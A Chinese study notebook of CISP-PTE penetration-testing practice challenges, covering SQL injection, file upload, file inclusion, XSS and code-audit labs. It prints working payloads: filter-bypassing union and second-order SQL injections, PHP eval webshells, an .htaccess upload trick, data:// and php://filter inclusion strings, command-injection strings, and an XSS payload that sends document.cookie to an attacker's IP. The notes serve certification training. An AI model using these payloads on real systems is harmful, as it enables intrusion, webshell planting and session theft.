记录cisp-pte的基础题学习和刷题的笔记
第一部分
参考# CISP-PTE八套真题详解(侵删)的学习笔记
第一套题目
sql注入:
order by没有用,直接进入union select阶段,找到有回显的字段2和3。后面就是常规的union注入
文件上传:
关键词被过滤 上传preg_replace.php 不使用eval的免杀马
一句话木马
php函数一句话木马
文件包含:
尝试data://text/plain, 发现phpinfo还在但是data://被替换成空了,所以用双写绕过。 然后上传一句话木马用antsword连接
反序列化:
非常简单的反序列化,只要有一个php环境输出序列化的结果就好,可以在上一题的文件中写入,然后访问得到字符串
越权:
先用XFF头修改为本地IP 然后再Cookie中修改Username为admin的base64并且把isAdmin修改成true
第二套题目
sql注入:
用’)闭合前面的内容 最后用注释后面的内容 过滤空格用注释绕过 union被过滤用双写绕过 使用load_file()函数直接读取文件里面的内容
文件上传:
就考察后缀名的替换 改成pht等就可以绕过
文件包含:
可以用data伪协议写webshell然后用蚁剑连接 或者用php filter读源码
命令执行:
cat命令被过滤 用其他的方式读文件
日志分析:
先筛选200 再搜索中的书签 选择删除未标记行 可以看到admin登录的路径 爆破admin的密码 ,登录之后拿到key
第三套题目
sql注入:
这题考察的是二阶注入,有注册用户和重置密码的功能。 重置密码的语句是update user set password = '' where username= ''
所以只要注册一个admin'#
用户,这样在修改这个用户的密码的时候就修改了admin的密码 然后可以登入admin
文件上传:
上传免杀马 绕过内容过滤
文件包含:
查看view.html 审计代码 发现要传入一个Hello参数 还要一个z0 输入想要执行的代码的base64
代码审计:
传入cmd参数 执行命令 然后重定向到一个文件中查看输出结果
代码执行:
管道符被过滤 使用 && 过滤了php 使用*模糊匹配
第四套题目
sql注入:
和第三套的题目差不多 区别是这里admin’#被注册了 需要在注册admin’#123 后面加上字符的
文件上传:
免杀马 用preg_replace的就可以
文件包含:
和上一套一样
日志分析:
用正则表达式筛选出状态码是200的记录 然后匹配出index upload 等四个路径,需要用正则去掉这四个路径
有的index前面有两个/ 所以正则中也要去掉这种情况 最终找到一个backdoor文件^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200
/?表示可能有/ 可能没有/
代码审计:
要构造一个json数据 第一个要求bar1不能是数字 但是要大于2020 所以用数字加字母,在php比较的时候会自动转换成数字比较 bar2要求元素是5个,第一个元素是数组 bar3要求是数组,并且有”cisp-pte”
第五套题目
sql注入:我是差不多先生
注册登录之后 发现可以发表文章,在title和content处测试 发现都有注入点
在使用#注释之后还是发布失败,猜测还有user字段,sql语句可能是insert into aritcles(title,content,user) values('tit','con','test')
输入的参数数量必须和列数一样才可以在content后面一个参数就是用户名title=test&content=test','test')#
然后在content处使用注入得到数据库名title=123',(database()),'test')#&content=test
尝试得到表名的时候发现失败,可能存在过滤 用一些大小写过滤然后用 /**/ 绕过空格
最后得到password列的值
扩展: 如果没有注释符的时候 insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (’ 进行闭合
用title=123','123','test'),('&content=test
测试失败,原因是在title前面还有一个参数title=title1','content1','test'),('x','title2&content=content2
这样就相当于发布两篇文章
文件上传 文件包含 命令执行 都和之前一样
验证码爆破:
直接删除cookie 然后把验证码code字段置空
第六套题目
sql注入:
考察万能密码
用户名处 admin '='
密码处 1' Or '1'='1
sql注入:
用–+ 注释 根据sql语句用’)闭合 用order by 尝试 发现有7个字段
用union联合查询的时候 发现被过滤 用双写绕过
最后用load_file读取key
xss:
考察用xss获取admin的cookie然后登录admin
payload:<sript>document.write('<img src="http://192.168.xx.xx?xxxx?' + document.cookie + '" />'); </script>
然后在攻击端口开http服务 就可以在url中看到cookie
用cookie登录后可以看到key
文件包含:
就是考察文件包含?data://text/plain,<?php @eval($_POST['x']); ?>
然后用蚁剑连接之后找到flag
代码审计
用闭合+命令的方式
payload: ?a=");system("ls
第二部分
在培训提供平台上的题目练习
sql注入
第一题:
考察万能密码,or被过滤用Or大小写绕过password: 1' Or '1' = '1
第二题:
这里两个注释都被过滤了
1 | //simple check |
可以用两个注释的组合的方式来绕过-%23-+
?uuid=1' Order by 6 -%23-+
通过order by 测试出来一共有6列?uuid=1' union select 1,2,3,4,5,6 -%23-+
2和3是回显点?uuid=1' union select 1,database(),3,4,5,6 -%23-+
得到数据库wasjcms?uuid=1' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() -%23-+
得到table表的名字是flag?uuid=1' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='flag' -%23-+
有id 和flag两个字段?uuid=1' union select 1,group_concat(flag),3,4,5,6 from wasjcms.flag -%23-+
拿到字段名之后 得到flag值
第三题: 启动环境,访问下面链接,在Web根目录中找到key.flag
首页是一个登录页面 用万能密码就可以登录
登录进来之后可以看到患者的治疗记录 随便选一个进入编辑 发现这里是和url相关的
猜测注入点在url 所以在url这里加上’ 和注释 发现确实存在sql注入
通过order by 测试出一共有8个字段 用union select找不到回显的位置
看了课程解析才知道自己找的注入位置错了
在患者页面编辑里面
用order by 测试出15个字段/?m=patient&o=edit&pid=0' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
回显点有4 5 11 13&pid=0' union select 1,2,3,4,5,6,7,8,9,10,11,12,load_file('/var/www/html/key.flag'),14,15 --+
根据题目要在网站目录拿到flag
第四题:
首页是一个文章管理系统,也是在url存在注入点
这里是数值型注入 不用单引号闭合/show.php?id=33 order by 16 --+
测试出有15列?id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
id=0不显示文章,找到回显点在3和11?id=0 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+
cms?id=0 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+
直接这样提示Illegal mix of collations for operation ‘UNION’
要用 group_concat(convert(table_name using gbk))
?id=0 union select 1,2,group_concat(convert(column_name using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name= 'cms_flag' --+
flag?id=0 union select 1,2,group_concat(convert(flag using gbk)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_flag --+
第五题: 通过SQL注入漏洞读取 /tmp/key.flag
文件,答案就在文件中。
题目给出了sql执行的语句当前执行的SQL:SELECT * FROM articles WHERE id=('1')
这里先用’)闭合前面的语句然后中间插入想要执行的语句 最后注释后面的未闭合部分
但是这里尝试发现直接输入#会被过滤 可以用%23或者绕过
空格也被过滤 用/**/
或%0b绕过 然后用order by测试出有四列
后面进行union测试的时候发现被过滤 用双写绕过 以及id要改成0?id=0')/**/Ununionion/**/select/**/1,2,3,4%23
?id=0')/**/Ununionion/**/select/**/1,2,load_file('/tmp/key.flag'),4%23
第六题: 考察二阶记录
在查看文章处不存在sql注入,注入点在发表文章,这里有标题和内容,都是注入点,用bp发送请求包,用post提交两个数据
直接用1’# 发现语法错误,猜测有括号 内容写1’)#
出现列数不匹配的报错
输入2’)
这里报错信息给出了内容这里的字段数 一个是内容,第二个是作者(admin)第三个default_value 最后一个是NOW()
后端语句应该是insert into (标题,内容,作者,default_value,时间) value ('2','3','4','5')
2','3','4',NOW())#
这样子可以成功发表,所以可用3和4字段来注入,因为2前面自带了一个单引号2',(database()),'4',NOW())#
php_test2',(select group_concat(table_name) from information_schema.tables where table_schema='php_test'),'4',NOW())#
users,articles2',(select group_concat(column_name) from information_schema.columns where table_name='users'),'4',NOW())#
password2',(select group_concat(password) from php_test.users),'4',NOW())#
flag_nisp_fb8b3e
这题考察的内容和上面的第五套题目一样 主要考察通过报错的信息推断后端的sql语句,满足所需要的字段值,最后注入得到想要的值
第七题: 登录admin 拿到flag
考察二阶注入,原理就是利用注册 后端的语句可能是insert into (表名) values username, password
而登录时候的语句是select xxx fron 表名 where password='' and username=''
如果创建一个用户名是admin'#
的用户,如果可以修改密码,UPDATE USERNAME,PASSWORD WHERE PASSWORD='' AND USERNAME=''
修改admin’#的密码就会修改admin用户的密码
这题直接注册admin’# 报错 可能因为直接用#有过滤 后面再加上–
注册admin’#– 账户 修改密码
文件上传
第一题: 请将免杀码wen.php上传,并获取在根目录的flag,连接密码为“wen”
先尝试直接上传免杀码 发现失败
然后用bp的爆破模块 加上几个其他的php后缀, 发现就是对php黑名单,用大小写或者php3 phtml等都可以绕过,但是直接上传免杀码修改后缀还是不行,猜测有mime校验,所以上传图片马
方式是先上传一张图片,然后在图片后面加上免杀马的代码 然后修改后缀 改成1.Php 然后用蚁剑连接
第二题:
还是先测试一下后缀的问题 发现只能上传jpg png gif 格式的后缀
这题考察的是00截断 ,还是先上传一个图片马 上传的路径写成我们想要的
然后在hex界面用00截断 上传之后查看图片可以看到urlhttp://211.103.180.146:18531/1.php%EF%BF%BD/8720250901144746.jpg
这里在php后面的内容会被截断,所以在蚁剑中写入1.php的url就可以连接
第三题:
还是尝试不同后缀 只过滤了php 用其他的后缀就可以绕过
但是还有一个问题 上传之后不知道上传到了哪里
扫描一下目录,发现有上传的文件夹路径
1 | ┌──(root㉿kali)-[~/tmp] |
找到上传之后的位置 蚁剑连接
第四题:
提示php文件不能直接上传
还是先尝试一下其他几个后缀,发现phtml可以 估计就是过滤了php这三个字母
上传图片马提示 文件内容不支持, 用phpinfo()还是不行 估计是过滤了php标签,所以用script形式的马<script language="php"> @eval($_POST['cmd']); </script>
然后还是在upload目录下面找到文件 用蚁剑连接
第五题:
还是只过滤了php 用其他后缀都可以成功上传,这里用php3 就可以成功连接上蚁剑
在网站目录下找到flag
第六题: 小明做了一个文件上传的页面,他将危险文件做了个黑名单,以此来杜绝危险文件的上传,但是他忘记了很严重的问题。想办法上传文件,拿到flag。
源码:
1 | $is_upload = false; |
这里的问题是没有过滤htaccess
上传一个.htaccess文件,让上传的jpg文件以php格式解析
1 | <FilesMatch ".jpg$"> |
上传了这个htaccess文件之后就给出了flag
第七题:用所学知识拿到根目录下的flag 学会好好利用http://ip:port/include.php界面
看这个题目的意思 估计是要用文件包含了
先上传一个图片马 然后查看图片 得到图片路径 upload/2020250901153953.jpg
然后利用include.php 用file参数传入图片路径 最后用蚁剑连接
第八题: 和第七题一模一样
第九题:
Apache ActiveMQ 任意文件写入漏洞(CVE-2016-3088)复现利用
考察这个漏洞,根据这篇文章进行复现
文件包含
第一题:
请在系统根目录下找到flag.txt文件并获取flag值
部分源码:
1 | if (isset($_GET['page'])) { |
用file协议读取flag file:///flag.txt
第二题:
通过url/vul/fu1.php?file=view.html
知道当前页面显示的实际上是view.html的内容,由于是一个php文件包含的,所以view.html也是以php文件来执行的 直接去访问一下原来的页面 然后查看页面源代码
1 | <!-- |
这里的正则表达式意思是匹配第一个中括号里面的内容,/e表示执行其中的代码
base64其中的内容解码后是[@eval(base64_decode($_POST[z0]));]
这里z0参数会进行一次base64解码,所以要把执行的用base64编码一下 system(‘cat /flag.php’);Hello='123'&z0=c3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7
post发送这个数据 然后查看源代码得到flag
第三题:
这里包含的是nisp 但是显示的是nisp.txt 所以会自动加上txt后缀
这里用data伪协议直接在url写入php插入代码,直接执行之后后缀就无所谓了data://
被过滤需要用双写绕过?page=dadata://ta://text/plain,<?php system('cat /flag.php');?>
第四题:
用?file=php://filter/read=convert.base64-encode/resource=../key.flag
php伪协议用base64转换一下读取flag
第五题:
用data伪协议执行代码?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcud2FzaicpOyA/Pg==
先用system(‘ls’/); 找到flag文件名 然后读取
代码审计
第一题:
1 |
|
这里只要用一个闭合就可以执行想要的命令了?a=");system("ls ./
?a=");system("cat ./flag.cisp123
第二题:
1 |
|
这里就是要求命令不能超过30个字符/?1=find / -name "flag*" 2>/dev/null
找到flag所在文件?1=cat /var/www/html/flag.nisp
第三题
1 |
|
考察序列化
在本地环境中运行
1 |
|
将输出的结果用get方式用str参数传入
第四题:
1 |
|
按照题目的要求一步步分析
首先要传入一个参数w w是一个json格式的参数并且w是一个数组
数组的bar1元素不能是数字 但是要大于2020 这里利用php的弱比较 用数字加字母 比较时候会自动转为数字
数组的bar2元素是一个数组,要有五个元素,并且这个bar2数组的第一个元素也是数组
bar3元素也是数组,数组中要有”cisp-pte”元素
bar2元素不能有”cisp-pte”?w={"bar1":"2024a","bar2":[["a"],["b"],["c"],["d"],["e"]],"bar3":["test","cisp-pte",123]}